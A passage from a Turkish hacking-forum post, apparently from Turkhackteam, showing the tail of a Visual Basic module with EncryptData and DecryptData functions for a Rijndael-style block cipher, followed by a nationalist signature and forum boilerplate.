        bytKey(lCount) = bytPassword(lCount): If lCount = 31 Then Exit For
    Next lCount
    gentables
    gkey 8, 8, bytKey
    lLength = UBound(bytMessage) + 1:    lEncodedLength = lLength + 4
    If lEncodedLength Mod 32 <> 0 Then lEncodedLength = lEncodedLength + 32 - (lEncodedLength Mod 32)
    ReDim bytIn(lEncodedLength - 1):    ReDim bytOut(lEncodedLength - 1)
    CopyMemory VarPtr(bytIn(0)), VarPtr(lLength), 4
    CopyMemory VarPtr(bytIn(4)), VarPtr(bytMessage(0)), lLength
    For lCount = 0 To lEncodedLength - 1 Step 32
        CopyMemory VarPtr(bytTemp(0)), VarPtr(bytIn(lCount)), 32
        Encrypt bytTemp
        CopyMemory VarPtr(bytOut(lCount)), VarPtr(bytTemp(0)), 32
    Next lCount
    EncryptData = bytOut
End Function
Public Function DecryptData(bytIn() As Byte, bytPassword() As Byte) As Byte()
Dim bytMessage()   As Byte, bytKey(31) As Byte, bytOut() As Byte
Dim bytTemp(31)    As Byte, lCount As Long, lLength As Long
Dim lEncodedLength As Long, bytLen(3) As Byte, lPosition As Long
    If Not IsInitialized(bytIn) Then Exit Function
    If Not IsInitialized(bytPassword) Then Exit Function
    lEncodedLength = UBound(bytIn) + 1
    If lEncodedLength Mod 32 <> 0 Then Exit Function
    For lCount = 0 To UBound(bytPassword)
        bytKey(lCount) = bytPassword(lCount):  If lCount = 31 Then Exit For
    Next lCount
    gentables
    gkey 8, 8, bytKey
    ReDim bytOut(lEncodedLength - 1)
    For lCount = 0 To lEncodedLength - 1 Step 32
        CopyMemory VarPtr(bytTemp(0)), VarPtr(bytIn(lCount)), 32
        Decrypt bytTemp
        CopyMemory VarPtr(bytOut(lCount)), VarPtr(bytTemp(0)), 32
    Next lCount
    CopyMemory VarPtr(lLength), VarPtr(bytOut(0)), 4
    If lLength > lEncodedLength - 4 Then Exit Function
    ReDim bytMessage(lLength - 1)
    CopyMemory VarPtr(bytMessage(0)), VarPtr(bytOut(4)), lLength
    DecryptData = bytMessage
End Function



___________________________________________

© EREGLİLİHACKER
☪ ÖNCE VATAN! ☪

KELEŞ SESİYLE YAS TUTARIM ÖLEN ŞEHİTLERİN ARDINDAN
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Siber Güvenlik
Pomeranian Boo
instagram takipci hilesi

wau